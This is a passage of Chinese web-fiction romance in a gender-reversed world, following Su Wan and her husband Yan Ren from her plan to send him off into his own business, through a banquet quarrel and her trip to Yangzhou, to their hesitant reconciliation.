宴刃是那样的令人侧目,作为男子,他本不该在商场如此活跃,可他那精准的眼光与狠辣的手段,让所有基于性别的质疑都成了无力的笑话。
他投入的每一分启动资金,与他带来的滚滚收益相比,都显得如此微不足道,他简直就是一棵名副其实、散发着诱人金光的招财树。
"谁会不喜欢这样的合作伙伴?"
宴刃当然知道外面那些关于他身份、关于他与苏婉关系的流言蜚语,像苍蝇般嗡嗡作响。
但他毫不在乎,此刻,他正坐在觥筹交错的庆功宴主位上,勾着冰冷的睥睨众生的弧度。
璀璨的水晶灯将他的轮廓镀上一层金边,却照不进那双幽深的眼睛,他男子的身份所造成的所谓的隔阂,在巨大的、
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令人眼红的利益面前,显得如此苍白可笑,不值一提。
正因如此,哪怕顶着男子的身份,他也引得各方势力争相拉拢、趋之若鹜。
甚至有不少自诩成功的女子,向他递来了暧昧的橄榄枝,她们私底下都知道苏婉与他产生了间隙,似乎要离婚呢。
在这个年代谁见过离婚的男人?再加上之前他被女人险些侵犯的事情,这个名声有瑕的男人,在她们眼中仿佛一伸手就能得到的金宝宝。
更有人将他视作水性杨花、待价而沽的尤物,愿意一掷千金,只求与他春风一度。
这种扭曲的追捧,引发了无数男人的嫉妒与愤恨,暗地里关于宴刃的污言秽语、不堪入目的流言更是甚嚣尘上。
他的相貌、他的穿着打扮、他的一颦一笑,在那些恶意的流言中被无限放大、扭曲,远远盖过了他实打实的能力。
他的一举一动,一分一秒,都暴露在无数双充满窥探欲的眼睛之下。
在这种场合,那些说他配不上苏婉的声音,竟奇迹般地调转了方向。开始有人替他鸣不平,说他明珠暗投,当着他的面指责苏婉的存在耽误了宴刃本该更加辉煌的前程。
他听着总是发笑,再问那前程在哪,便又在另一个女子那,似乎男子总是要待在女人怀里才算合理的。
商场的自如与别苑的冷清交替出现在生活中,似乎两人都忘记了离婚这件事。
可苏婉没忘,冷静地掐算着时日,觉得是时候了。
她将宴刃叫进了自己办公室,阳光下微尘在浮动着,她没有寒暄,开门见山地递给他一份详尽的计划书。
她亲自为他筛选、组建了一支精锐的团队,并提议他以此为基础,另立门户,开创真正属于他自己的事业版图。
“这笔启动资金,对你而言不算什么。”她将一份厚厚的合同轻轻推到他面前的桌面上,声音平静无波,像在陈述一个既定事实,“重要的是,你若能以此为契机,搭建起自己的核心架构,整合好各方资源,后续的所有发展费用,我都会无条件承担。”
不知不觉春天过去,夏天到来,天气转热,苏婉今天穿了一件素雅的月白色旗袍,阳光斜斜照在她裸露的白皙手臂上,泛着温润的光泽,竟让宴刃觉得有些晃眼。
她总是,总是那么固执。
一股冰冷的寒意瞬间从宴刃的心底蔓延开来,迅速冻结了四肢百骸。他不知道自己还在期待什么?难道期待苏婉把他叫进来,是为了续上那些连他自己都记不清细节的旧情吗?
她就不能多看他两眼,对他…多点喜欢吗?
苏婉并不知道,在这一瞬间,宴刃的脑海中如同风暴过境,她只是坚定地认为,这个决定对彼此都是最好的结局。
既成全了宴刃骨子里无法磨灭的野心与抱负,也为两人之间那尴尬而痛苦的关系,找到了一个最体面、最安全的距离。
她没有说出口的是,这或许也是对最近那些甚嚣尘上的流言,最有力、最无声的回击。
29. 第二十九章 苏婉28
她不需要依附宴刃的光环,宴刃也无需捆绑在她身边。她们各自独立,都能活得很好,很精彩。
当年宴刃能白手起家,创下那份令人瞩目的基业,苏婉从始至终,都未曾想过要夺走那些本就属于他的荣光与能力。
她如今这般煞费苦心地为他培养团队、精心搭建架构,倾注资源,不过是想为他搭建一个属于他的天地、属于他的骄傲,至少在他自己领域他能选择和以前一样的生活。
没有他的生活。
至于婚姻,她无能为力。
如今,她们只需熬过这最后的、短暂的磨合期。
苏婉从一开始,就清晰地规划好了这条逐步放手、渐行渐远的路。她冷静地旁观着宴刃在新公司如鱼得水、挥斥方遒,见他表面上的日子过得风生水起、舒坦自在。
可苏婉知道,每当夜深人静,万籁俱寂之时,阁楼房间总会传来宴刃从噩梦中惊醒后跌跌撞撞找酒的声响。
但是她等待得够久了,久到连她自己那份超乎常人的耐心,都快要被消磨殆尽了,她发现,过去那些沉重的过去,其实也不需要向宴刃倾诉,他有自己的苦果吃。
“这些日子里,你给予我无微不至的栽培与护航,近乎纵容的温柔,让我曾经自负地认为你又喜欢上了我。”宴刃拉开苏婉办公桌对面的椅子坐下,带着深深的困惑看向她,“你只是需要一个夫郎,为什么这一次不选我?”
他的心脏在胸腔里狂跳,无论是爱是恨,是依赖还是怨怼,苏婉就是他此刻生活的全部重心和意义,如果没有她的帮扶,他恐怕早已在这吃人不吐骨头的世道里死了,他与她纠缠那么深,他怎么放手?
他曾经那么笃定地认为,自己样样都比苏婉强,苏婉不过是依附着他生存的藤蔓。
可经过这几个月的事实,他不得不承认,无论作为一个默默守护的港湾,还是一个引领前路的灯塔,苏婉都做得远比他当年出色得多。
她不仅小心翼翼地保全了他那点可怜又可悲的尊严,更早早为他铺就了一条坚实而广阔的道路。
“你多看看外面,别太偏执。”苏婉对宴刃说。
外面?
是的,外面天气正好,阳光透过新绿的枝叶,细碎地洒落,鸟鸣清脆悦耳,春风带着暖意拂过窗棂。
宴刃却对这一切恍若未闻,他的目光死死钉在桌面上那份完美得几乎挑不出一丝错处的企划书上。
自己过去所谓的庇护与苏婉此刻这份润物无声、面面俱到的周全相比,显得粗粝、可笑。
一股滚烫的热气不受控制地从胸腔深处氤氲而上,瞬间模糊了他的视线,宴刃愕然抬手,指尖触到一片湿意,他再一次在苏婉面前落泪了,他几近哀求地,又一次问她,“真的……不能再选择我一次吗?”
“我没有…我没有选择过你。”苏婉轻轻垂下眉眼,避开他泪眼朦胧的注视,声音清晰而平静。
“我没有选择过你。”她顿了顿,似乎在斟酌最准确的表达,“当初是我父亲安排的婚姻,我接受了。但现在,我想要自己选择,选择那个能与我携手走下去的人。”
她看着他不断滚落的泪珠,心脏深处泛起一丝细密的疼痛,却并不足以动摇她的决心。
于是,她继续平静地说道:“我以为你知道的。这段时间,你难道一点预感都没有吗?”
她发出一声极轻的叹息,“你不是那样迟钝的人,你只是在赌,赌我能不能狠下心,彻底斩断。”
宴刃如遭雷击,哑口无言。
“以前我常常听父亲说,女人有妇人之仁,所以做不得大事,我也常常在想,我对你做的这些事情,处处为你考量,算不算妇人之仁?”苏婉低头想了一会,目光清澈地望向窗外盎然的春意,“可是我觉得世间要是少了这样妇人之仁的人情味,该是多么的冷漠啊……”
她再一次,精准地戳中了他心底最隐秘的角落,她像是一只等待许久的猎手,一直在黑暗中蛰伏,此刻抓住他的破绽,毫不犹豫地伸出利爪,给予致命一击。
宴刃在这段时间内有过不安吗?当然有!而且,越是事业顺遂,他心底那股强烈的不安就越发像藤蔓般疯狂滋长。
他其实早已隐隐猜透了苏婉的打算,当她判定这段婚姻不再合适时,离婚协议就会放在他的面前。
这个可能性,像一柄寒光闪闪的利剑,日夜悬在他的头顶,折磨得他寝食难安。
宴刃的眼泪如同断了线的珍珠,无声地滑落,在阳光下折射出脆弱的光泽,整个人呈现出一种近乎凄美的姿态。
多么讽刺啊,明明最初提出要结束这段关系、追求自由的,是他自己。
苏婉哪里做得不好吗?无论是商业版图的规划,还是他个人生活的安排,她都为他考虑得滴水不漏,周全得无可挑剔。
若放在从前,那个唯利是图只考虑自己的宴刃,早该冷静地权衡利弊,甚至会是那个先一步、毫不犹豫提出离婚的人。
阳光穿过摇曳的树叶,在他紧握成拳的手背上投下斑驳跳跃的光影。
宴刃感到喉头一阵发紧,像被无形的手扼住,她考虑得那么多,让他没法在这些事上挑出一点毛病,可是,哪怕现在他已经拥有了足以立足的资本,他还是不想离开她。
他早就不再想将她踩在脚底下。他只想陪在她身边,看着她,守着她。
原来在不知不觉间,那些算计与胜负欲,早已被一种说不清、道不明、却深入骨髓的情愫悄然取代。
“我不接受。”宴刃看着苏婉不为所动的温柔,坦然自己的心声,心底翻涌着痛苦。
“那你应该让自己试着接受。”苏婉拿起文件放在抽屉深处,“我可以等待一段时间,但是不会太久。”
接下来的几日,所有与苏婉和宴刃共事的姑娘们都敏锐地察觉到,两人之间的气氛发生了微妙而明显的变化。
空气中仿佛弥漫着无形的硝烟,两人之间不再有之前的默契,反而处处透着一股针锋相对、剑拔弩张的意味,哪哪儿都不对味。
今天又是一场庆功宴,公司包下了酒店宴会厅,姑娘们坐满了三张大圆桌,推杯换盏,欢声笑语。
苏婉与宴刃,这对名义上的伴侣,却隔着攒动的人头,遥
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遥分坐两桌。
她早就有了这样的打算,她正耐心地侧耳倾听一位下属的汇报,不时点头,嘴角噙着一抹温和的笑意。
那模样刺痛了宴刃的眼,他从怀中掏出一支雪茄,在女人们诧异的目光中径自用雪茄剪剪开,然后嚓地一声划亮火柴,点燃雪茄。
他刻意找不痛快,辛辣的烟草味瞬间在空气里弥漫开来。
“出去抽吧。”苏婉甚至没有抬头看他一眼,平静的声音穿透了周围的喧闹,清晰地传来,带着不容置喙的意味。
烟灰簌簌落在桌布上,烫出一个小小的焦痕,宴刃在苏婉抬眼看来的瞬间,下意识按灭了烟头。
在女人打趣的眼光中,宴刃羞恼站起身,环视四周一张张或惊讶、或看好戏的脸,“在别苑的时候,你苏婉可从来没定过这种规矩!”
"你们女人不也有抽烟的?"
“但我们从不在公共场合抽!”邻桌一位颇有威望的女主管不耐烦地瞥了他一眼,那目光里是毫不掩饰的惊诧和鄙夷,“更不会在大家吃饭的时候抽。”
其余女人立刻窃窃私语起来,声音不大,却足以让宴刃听得清清楚楚。
"我早说过不该让男眷参与公司事务,怎么连这种事情都要闹,小家子气。"
“算了算了,也不是什么大事,别把大家开心的日子给搅混了。”
宴刃瞳孔骤缩,脸色阴沉得能滴出水来:“你们这话是什么意思。”
“我说你们男人就是麻烦——”那女主管冷笑一声,故意拖长了调子,目光转向苏婉,意有所指,“稍有点本事就不知天高地厚,这也要那也要,忘了自己几斤几两。”
她故意顿了顿,声音带着刻薄的嘲讽,“要不是公司给平台,有些人怕……”
“啪——哗啦!”
话音未落,一声刺耳的碎裂声骤然炸响!宴刃手中的青花瓷茶杯已在地上摔得粉碎,滚烫的茶水混着茶叶泼溅一地,惊得周围瞬间死寂!
"你看,他还发疯,所以一个男人家家能成什么事?早点回家养孩子吧!"女主管呛声道,有什么了不起的。
苏婉适时介入调解,声音不高却带着无形的压力,“好了。”
她环视众人,目光最后落在女主管身上,“今天的项目能成功,主要负责人是宴刃。”
她的语气不容置疑,“今天是他的庆功宴,如果你能拿出同样的成绩,你也能像他一样想做什么做什么。”
女主管早就不想待了,她站起身,带着几分恨铁不成钢的意味,“也就你脾气好,处处照顾他,给他脸面!我是不明白,你们现在这关系,你怎么还能这么容忍他?像个祖宗似的供着!”
宴刃耳尖地捕捉到这句话,眼神骤然阴沉,"容忍我?"
女主管冷笑一声,索性冷笑一声,彻底撕破脸皮,声音不大却字字诛心,"你还真把自己当盘菜了?你不知道吧?苏婉最近可没闲着,一直在接触那些年轻漂亮、知情识趣的男人!你已经老了,色衰爱弛懂不懂?你有什么资本和小年轻斗?靠你这身老皮囊?还是靠你这动不动就发疯的脾气?"
30. 第三十章 苏婉29
空气瞬间凝固,仿佛被抽干了所有氧气。
苏婉的背影明显僵了一下,但终究没有解释一个字。
璀璨的水晶灯投下冰冷的光晕,宴刃站在灯光的阴影里,攥紧的拳头剧烈发抖,指甲深深陷入掌心,留下深陷的月痕。
他整个人晃了晃,仿佛被无形的重锤击中,脸色瞬间褪尽血色,惨白如纸。
头疼欲裂,熟悉的眩晕感再次袭来,那一道挥之不去的杏色旗袍幻影,与眼前沉默的苏婉身影诡异地重叠在一起。
她们都一样……都不肯原谅他,都要抛弃他!
这个打击来得如此突然,像晴天霹雳,但仔细想想,那些蛛丝马迹……却又并非毫无征兆。
宴刃的脑海里翻江倒海,无数记忆碎片疯狂撞击,从春到夏的这两个月,那些苏婉晚归的、带着疲惫的夜晚,她身上偶尔沾染的、陌生而清新的香水味,绝不是她惯用的熏香,一切都有了答案。
她有了新欢……
真快啊…快得让他措手不及,心如刀绞。
他知道这女主管工作能力远不如自己,这些话多半也是故意编造、添油加醋,就是为了当众羞辱他,看他失态。
可就算宴刃拼命在心里说服自己,一遍遍分析女主管使出这般下作手段的动机,可他的灵魂仍然痛苦地尖叫,他一直自欺欺人,用忙碌和成功麻痹自己,不愿深想。
他还是无法接受两个人真的会走到分道扬镳这一步。巨大的屈辱和锥心之痛让他再也无法待下去。
他猛地转身,第一次在众人面前如此狼狈、踉跄地逃离了这个让他窒息的地方。
其他人纷纷以谴责的目光投向女主管,苏婉也沉着脸,私下找女主管严肃地谈了一场,她没过多久就离职了。
可失控的局面已经造成,裂痕也无法弥合。
宴刃至此一蹶不振,他像一只被拔掉了所有刺的刺猬,变得异常敏感。
他变得敏感、多疑、沉迷发现更多证据,比如苏婉的行程表对他而言成了保密,比如她待在外面的时间越来越长,远远超出了处理公务的正常比例……
一切都在告诉他,她在外面有人了。
苏婉不去理会宴刃,完全沉浸于她飞速扩张的事业版图。
她的世界里充斥着文件,会议,永不停歇的人□□谈声。
她无暇,或许也无心,再去顾及角落里宴刃翻涌的心思。
而他,仿佛被抽走了所有精气神,开始学着侍弄窗台那几盆半死不活的植物,宴刃再一次选择了自我放逐,隐居在别院深处。
可他之前是那样令人侧目,这样的骤然沉寂,无非是给苏婉身上又增添了一桩新的暧昧隐秘的绯闻谈资罢了。
看,定是苏婉厌弃了他,他才如此消沉!
她心里那么清晰,那么无比确切地知道她与宴刃的关系终将走向结束,但她没想到这层窗户纸会以如此不堪的方式,被当众粗暴地戳破。
她没有当场否认,没有解释,是因为…她不想再给宴刃任何不切实际的希望和幻想了。
长痛不如短痛。
苏婉压下心口那块沉甸甸的巨石,漠然关上厚重的办公室门,将门外所有探究、好奇、幸灾乐祸的目光彻底隔绝。
街头那些廉价的小报上,三天两头就是捕风捉影关于她的“风流韵事”。
她拒绝同事告知她这些,仿佛不听,那些污言秽语就不存在。
可宴刃不让她走,他逼迫她看向自己,想尽办法唤醒她内心那股莫名的谴责感和隐隐的不安。
他一直在等,终于等到她踏楼而上。
宴刃伸手紧紧握住了她的手腕,他掌心的温度炽热得惊人。
“有事?”宴刃的动作带着一种不容挣脱的坚定,“你好久没来了,对这里都应该陌生了,要我带你逛逛吗?”
他的语气带着一种奇异的平静,甚至有一丝……认命?“但我现在对它很熟悉了,或许我能一直呆在这里也不会觉得厌烦了。”
“你疯了吗?!”苏婉第一次彻底控制不住自己的情绪,猛地甩开他滚烫的手,声音因震惊和愤怒而拔高。
窗外的蝉鸣在此刻显得格外刺耳聒噪,她带着压抑不住的怒气直视他深不见底的眼眸,“宴刃!你不会甘心!你怎么可能甘于在后院做一个默默无闻、相夫教子的夫郎!”
“我可以。”宴刃透露出一种令人心悸的固执。
“你只是还没有想清楚,你根本不明白这意味着什么!”苏婉的情绪彻底失控,她猛地将他推搡到冰冷的墙壁上,后背撞上坚硬的墙面发出闷响。
她的声音因激动而微微发颤,“性别反转,生育伦理被彻底重构,你明白现在父职被推到了怎样神圣化、又怎样残酷的位置吗?当你开始经历我本会有的孕吐、水肿。当妊娠纹爬满你的肚皮,当你激素焦虑得无法行走,当你经历这些真实的,具体的生理痛苦时,你会后悔的!”
苏婉很快察觉到了自己的失控,连忙松开钳制他的手,后退一步。
她试图用更冷静但依旧急促的语气解释,“你太理所当然了,你脑子里面有没有做夫郎的记忆?你到底不明白现在生育的痛苦完全由男人来承受!在我生下孩子后,那些不可逆转的身体变化,松弛的肚皮、变形的骨骼、都是由你来承担的!那是完全属于我自己的血脉,但是承担坏处的是你!”
她盯着他的眼睛,继续道,“这些痛苦会被社会赋予荣誉象征的父职,会让你的所有付出都变成是你应该做好的,没有人会同情你,只会有人责怪你没有做得更好。”
“你一定得生吗?”宴刃下意识摸向平坦的小腹,神情难以揣测。
“生育决策不可能由我一个人说了算!”苏婉斩钉截铁地打断他,“那是整个家族的使命,是刻在血脉里的责任,我一定会生育,会生下继承一切的女儿,宴刃你应该明白,我必须要一个女嗣来继承家业,延续香火。”
“不可以啊……”
“所以,你能想象吗?”苏婉逼近一步,目光锐利如刀,试图刺破他天真的幻想,“你能真正接受男性视角下的生育创
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伤吗?你能想象自己忍受十月痛苦,像野兽一样毫无尊严地嘶吼、挣扎,承受着撕裂般的剧痛吗?”
“我生?”宴刃按压着自己依旧平坦的腹部,咬牙不退一步。
“不,”苏婉摇头,语气带着一种残酷的冷静,“孩子依旧会在我的子宫里孕育。但是,你身为男性,你的精子质量会直接影响后代,你的体型会因为某些激素变化发生改变,孩子出生后,将由你来承担主要的哺乳功能。”
“我的身体?”宴刃颤抖。
“是的,你的身体会为此做好准备。”她的话语冰冷。
“……”
“很奇怪,很荒谬,对吗?”苏婉看着他震惊而茫然的表情,声音里带着深深的疲惫和讽刺。
“流行了几千年的文化观念,只要将性别角色彻底转换,那么性别权力结构中根深蒂固的荒谬性和压迫性,就赤裸裸地暴露出来了。当生育的沉重代价具象化为男性自身可感知、可触摸的生理损伤时,那些被传统浪漫化、神圣化的传宗接代的话语立刻显露出其狰狞的压迫本质。”
苏婉虚弱地退后一步,不再压迫宴刃,“我前两天从翻译朋友那里看到了一本样书,说正生育从来不是中立的生理过程,而是赋予了文化产物的权利,宴刃,你可以不与女人生育,自己过一生,你接受不了这些的。”
“我知道这些,都接受……不行吗?”
苏婉下意识攥住他的手腕,她脑海里反复盘旋着所有拒绝的、理智的话语。
他怎么能这样?
他疯了吗?!
他可是宴刃,那个睥睨所有人,野心勃勃的宴刃!
他似乎悄然脱离了她的视线,隐没在她的未知里。
他凭什么做这样的决定?
苏婉再一次后退,指尖用力揉着隐隐作痛的太阳穴,喉咙里像是堵了一团浸透了水的棉花,沉重得让她喘不过气。
她感到自己坚固的理智壁垒,出现了一丝裂痕,有一点……崩溃了。
宴刃看着她脸上毫不掩饰的痛苦和挣扎,自己也快要崩溃了。
他已经退让到了尘埃里,甚至愿意接受这颠覆认知、充满痛苦的夫郎命运,却还是不能拉回来她一点点的心吗?
他之所以选择放手工作,将自己禁锢在这方寸之地,是因为他以为过去他将所有精力都倾注在无止境的工作和野心上,忽略了她的感受,才一步步将她推远。
被她找新人的流言打击到体无完肤,他心底的疑问如同淬毒的刀尖般日夜刺痛他,让他不由自主的想我真的那么差吗?我是不是不够好,是不是真的留不住她?
他对自己失去了所有信心,陷入深深的自我怀疑,所以才病急乱投医,选择用这种极端的方式,以做得更多,放弃自我的形式来试图挽回她。
他破罐子破摔,声音破碎不堪,“苏婉我还能怎么做?你告诉我…该怎么做才能留住你?”
苏婉闻着他身上淡淡的、熟悉的烟草气息,她几乎是下意识地抬手,轻轻抚上他因紧绷而微微颤抖的脊背。
31. 第三十一章 苏婉30
但下一秒,理智回笼,她又像被烫到般飞快地放开了手,指尖残留着他身体的温度。
“你再好好想一想,我希望我们都不要后悔。”她的语气竭力维持着表面的平静,却藏着一丝不易察觉的颤抖,泄露了内心的波澜。
窗外蝉鸣依旧不知疲倦地嘶叫着,树叶被夜风拂动,发出低低的、绵延不绝的沙沙声,像无数窃窃私语。
宴刃目光晦暗,只有真正认定她们的关系早已无挽回余地的苏婉,才能如此理直气壮地说出这样的话吧。
而他,除了沉默,还能说什么?胸口像压了一块千斤巨石,沉甸甸地,每一次呼吸都牵扯着钝痛。
苏婉落荒而逃,一时间有些恍惚,今天来这里,也完全是临时起意,是心绪纷乱下的突发奇想。越想,越是觉得身心俱疲,像被抽干了所有力气。
那双漂亮眼睛里蓄满泪水的脆弱模样,让她有些手足无措,完全招架不住。
或许……在他的眼泪攻势下,她长久筑起的理智堤坝,真的会瞬间决堤,心软妥协也说不定。这个念头让她感到恐慌。
苏婉的指尖无意识地在旁边檀木桌面上敲出单调而焦躁的轻响。
她原本的打算清晰明了,用优渥的物质条件来抵清她认为的亏欠,可宴刃那双通红的、盛满破碎和哀求的眼睛,像一道无形的屏障,硬生生将这条她规划好的、最体面的路堵死了。
苏婉觉得自己的生活,就像一场被强行掐灭的熊熊大火。表面的灰烬早已冷却凝固,看似平静无波,可内里的灼烧感、那被压抑的滚烫岩浆,却从未停止翻涌奔腾。
她恍然惊觉,自己似乎永远被困在一种不配得的感觉里。
若还在原来的世界,苏婉对宴刃本不会有半分亏欠,两不相欠。
可在这个彻底颠倒的世界里,宴刃替她承受的那些病痛,像一笔永远无法清偿的巨债,沉沉地压在她心头。
他现在的男子身份,若没有她背后支撑,这吃人不吐骨头的世道,谁会真心接纳宴刃?
怕是连皮带骨,都要被那些虎视眈眈的目光和算计,吞噬得干干净净。
让他独自周旋其中,他真的能全身而退吗?
疲惫如潮水漫上心头,苏婉想把每件事都攥在掌心,要事事完美,要步步精准。
可现在…面对宴刃这团理不清、斩不断的乱麻,她再一次感到了力不从心的失控。
他说了那么多的话,那些话其实她也想过,记忆的闸门轰然打开。
什么是夫妻?那些被冷落的日子里,她神思恍惚,想了很多很多,想得最多的竟是——是不是自己做得不够好?不够漂亮?不够温柔?不够…让他喜欢?
她想不清楚,想不透彻,在反复的自我怀疑和抑郁中缠绵病榻,日渐消瘦。
直到那天,一个阳光刺眼的午后,她见到了那个悄悄躲在花丛里偷窥的身影。
她像只灵巧的小松鼠藏在花丛里,金色的阳光在她乌黑的发梢跳跃,闪烁着细碎的光点。
苏婉正独自站在寂静的窗台边,垂眸就毫无防备地看见了她。
那么开朗,那么健康,浑身上下都透着一种蓬勃的,仿佛用不完的鲜活气息,像一株在旷野里迎着太阳肆意生长的青梅树,充满了野性的生命力。
她被花丛中那股蓬勃的生命力深深感染,仿佛被无形的阳光穿透了阴霾。
感知到自己的生命那么脆弱,她情不自禁地向她伸出手,她和自己和解,她选择成全。
苏婉再一次硬下心肠,压下心头翻涌的思绪,她需要面试新的主管,需要去洽谈合作,堆积的文件像小山,需要让钢笔尖划过纸张的沙沙声填满办公室。
可苏婉想着想着,思绪飘远,想到了许久没有提起的画笔,可能是能做的事情太多了,她发现画画与之前想去读书的想法都变得十分遥远,那太…不切实际了。
但是也许,她得去扬州看看,正好散散心。
这年头出行很不容易,拥挤嘈杂。苏婉现在行动力很强,她通知了公司以后,只带着助理就坐上了去扬州的绿皮火车。
车厢里弥漫着汗味,烟草味和廉价香皂的气息。
一踏入站点,热闹劲儿扑面而来,小贩们围上来吆喝,卖卤鸡蛋、卤鸡腿的,煎饼的,声音此起彼伏,男人们挎着篮子,用一块粗布盖着吃食,与车窗里的乘客讨价还价,卖得便宜,贵了大家都不乐意买,空气里是卤料的咸香和油煎饼的焦香。
苏婉坐在下铺,硬邦邦的木板硌着屁股,隔壁的大姐买了两个卤蛋,看她安静坐着,以为是不好意思花钱,犹豫再三,忍痛掰了半个还带着温热的递给她。
苏婉捏着白得的鸡蛋,蛋壳温热粗糙。她打听大姐要去哪,大姐胆气大,声音洪亮,”我要出国嘞!去南洋!“
苏婉的呼吸一窒,稍有急促,这还是她第一次遇到如此明确要出国闯荡的人。
有人在别人连家门都没有出过的时候,就已经在想方设法跨过那片未知的海了。
火车轮撞击铁轨的哐当声仿佛敲在她心上,她总是扮演倾听者的角色,听大姐絮叨那些对异乡的担忧和对未来的憧憬,有些早已沉寂的血肉,似乎在她的体内重新生长。
助理也带着买好的吃食回来,大姐不好意思地嘿嘿笑,说自己误会了。
苏婉也笑着给她分享了自己的油润的炒饭,饭粒的香气混合着卤蛋的味道。
大姐说要在扬州做中转站,苏婉便把自己在上海的地址仔细写给她,期盼道,”姐,你要常给我写信。“
是新的朋友啊。
一种奇异的暖流滑过心田。
火车摇摇晃晃,窗外的风景从灰扑扑的厂房变成绿意盎然的稻田,又变成白墙黛瓦的水乡。
她在沿途遇到了很多人,沉默寡言的老农,带着孩子的疲惫母亲,高谈阔论的学生,听他们在车厢里面讲收成,讲家长里短,讲救国理想。
热情的,冷漠的,防备的,千人千面。
哪怕还没有到扬州,这流动的人间烟火,却仿佛比到了扬州本
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身更让她心潮起伏,比预想的更好。
到站了,她与助理从拥挤的车上下来,就感受到了扬州特有的湿润。
而真正踏出车站,苏婉发现,扬州与纸面上的想象、与沿途的风景都是不一样的。
那不单单是落在纸面上的水墨画与诗句,而是一种沁入骨髓的慵懒又鲜活的气息,自由感扑面而来。
她去了瘦西湖,湖水碧绿,画舫悠悠,去看了园林,假山玲珑,竹影婆娑,也给家人朋友带了手信,挤在热闹的街买了精致的檀香扇。
晚上,她坐在小旅馆吱呀作响的木椅上,就着昏黄的灯光,给母亲写信描述这里的见闻。
但是她并没有在这里待很久,不过三四日光景,因为她发现,心还是不由自主地牵挂着上海,她在上海有太多割舍不下的人和事像无形的线拽着她。
与火车上、扬州城里形形色色人的交流,也让她恍然惊觉,感情是很多种多样的,她对宴刃长久以来的抗拒和疏离,或许也是一种偏执,像给自己筑起的高墙。
苏婉停下笔,将书信仔细封好,准备明早寄出去。
窗外的虫鸣唧唧地闹人。
她或许,确实是应该给宴刃一次机会,也让给自己一次机会,让她们试着真正相处看看吧。
这个念头清晰起来,带着一丝豁然开朗的微光。
等到她风尘仆仆回到上海,才发现在她去扬州的那短短几日,宴刃默默地为她处理了许多积压的麻烦,这份无声的付出,让她心头微动。
那天晚上,苏婉与宴刃安静地共进了晚餐,瓷勺碰着瓷碗,发出清脆的声响。
餐后,苏婉斟酌着开口,声音在安静的餐厅里显得清晰,“我以前不够了解你,你也不够了解我。”她停顿了一下,看着宴刃骤然抬起的眼,“如果你还想和我在一起,我们可以试试。”
宴刃明显怔住了,捏着瓷勺的手指收紧,骨节泛白。
苏婉继续道,语气带着一种尝试的温和,”这一次,我们或许可以…好好相处?“
“当然!”宴刃的声音有些发紧,随即肯定地重复,“我们一定可以。”
两人像是对待珍贵易碎的瓷器那般小心地看着对方,在这种突如其来的,带着试探的和解氛围里,反而笨拙地说不出更多。
最终宴刃只能红着脸,几乎是同手同脚地回到了阁楼,木质楼梯发出轻微的吱呀声。
“算了,”苏婉独自坐在客厅,一种久违的放松感袭来,“也算是个好的开始。”
苏婉与宴刃再一次在公司里面同进同出,公司的人被之前的激烈风波吓到了,这一次连宴刃的闲言碎语都严格管控起来,就怕他再次被点燃。
让人奇怪的是,这一次他的脾气好了不少,哪怕是合作的人犯蠢,他也只是下颌线绷紧,脸色越来越冷,像覆了一层薄霜,却没有大发雷霆,将那冰寒的怒意生生压了下去。
宴刃察觉到苏婉对自己态度的转变后,偷偷摸摸地把苏婉抽屉里面那份企划书偷出来烧了个精光。
32. 第三十二章 苏婉31
火焰舔舐着纸张,橘红色的光映亮了他如释重负的脸,那一天他精神奕奕,脚步轻快,见到谁都难得地给个好脸色。
老实说,这或许是她们之间第一次真正滋生了暧昧的情愫,像初春枝头颤巍巍的嫩芽。
她放任,那么他就得寸进尺。灼热的目光总追随着她,若不是之前两人实在没有同床共枕的经验,彼此都生涩,那宴刃肯定是想方设法也要爬床的。
就连她们共同经过的空气中弥漫着一种心照不宣的张力。
过了几日,在苏婉发车前,宴刃的手指试探性地、小心翼翼地捏住了她的手掌,掌心带着薄汗。
“你要习惯。”宴刃侧过脸,颇为冷酷地说,唯独脸颊上的红意出卖了他的窘迫。
苏婉没有甩开他,她琥珀色的眼眸倒映出他的期待,若是甩开,他可以强迫自己压下被甩的失落,但宴刃湿润泛红的眼眶立刻就会出现在苏婉面前,带着无声的控诉。
她得承认,宴刃这无声的眼泪终究还是轻易击穿了她精心构筑的防线,留下柔软的缺口。
"好的。"苏婉也是浑身发热,血液奔涌的声音在耳边鼓噪,身体在警告这陌生的亲密,可理智在说伴侣之间这个很正常,她妥协道,"只能牵到下车前,被公司的姑娘们看到不好。"
”好。“宴刃立刻笑开了花,像个执拗又满足的孩子,"我们应该请个司机吧?这样…我们就能一直坐在后排了。"
他的手指在她掌心轻轻勾了一下。
”也可以。“苏婉低头看着自己握着方向盘的手,这双健康的手,能重新执笔、能习武,能拥抱所有崭新的可能。
宴刃牵着她的掌心滚烫,像握着一块暖玉,"你最近也别太忙了,公司的事情我都能替你打理,你如果还有想去的地方也去吧,我帮你看着。"
语气是前所未有的体贴,他尝到甜头了。
苏婉这段时间确实被生活推着走,每一件事都是责任,她有时候也很累。
宴刃很敏锐,精准地掐住了苏婉的软肋。
苏婉并不抗拒这种被需要的感觉,甚至有一丝隐秘的安心。
只有在某个恍惚的瞬间,苏婉才会突然怀疑,这一切,会不会只是场随时会醒的美梦?
这才过去多久?从冬天到夏天而已,不过短短数月。
从前那个处处受制的苏婉,那些年深日久的打压痕迹居然已经消散。
宴刃在苏婉思索的空白时间低下头,酸楚溢出心墙,“我所求的只要你不抛弃我,别显得我很可笑。”
”说得好像你会放手一样。“苏婉打趣他,试图驱散那沉重的气氛。
宴刃当然不放手!他立刻抬起头,眼神灼灼地宣告,像锁定猎物的鹰隼,明明白白,就算得到这一切,也绝不会放她走。那目光带着不容置疑的占有欲。
比起宴刃只能呆在别苑里、像被圈养的金丝雀的日子,在他这种滚烫执着的目光注视下,苏婉现在这种周旋反而让她感到一种诡异的轻松。
至少这一切,都显示着她还能和宴刃沟通,不用再耗费巨大精力去猜疑和对抗。
宴刃感受到她态度的软化,想证明自己的价值,于是再一次强调,带着急切道,“我可以帮你,所有人当中我必定是最合适的。”
”谢谢你,贤内助。“苏婉与他有一搭没一搭的聊着,也不明白为什么心里隐隐发慌,像踩在薄冰上。
她轻轻回握他的手,然后抽回手后发动车子。
环境记忆对一个人的影响真的很大,哪怕宴刃此刻伪装得再坚强,现在的他因为多出的记忆,受到影响后整体终究还是软弱偏多。
这让她不由自主地,在心底轻看了他两分?这个念头让苏婉有些不适。
苏婉用余光打量宴刃。他的穿着越发精致讲究,丝绸领带泛着光泽,与记忆中那个穿着笔挺西装、将手漫不经心将怀表放进内袋、浑身散发着掌控感的男人形象隔得越来越远。
唯一相通的是,他现在也优秀得耀眼,只是这份耀眼,似乎带着为她而绽放的讨好意味。
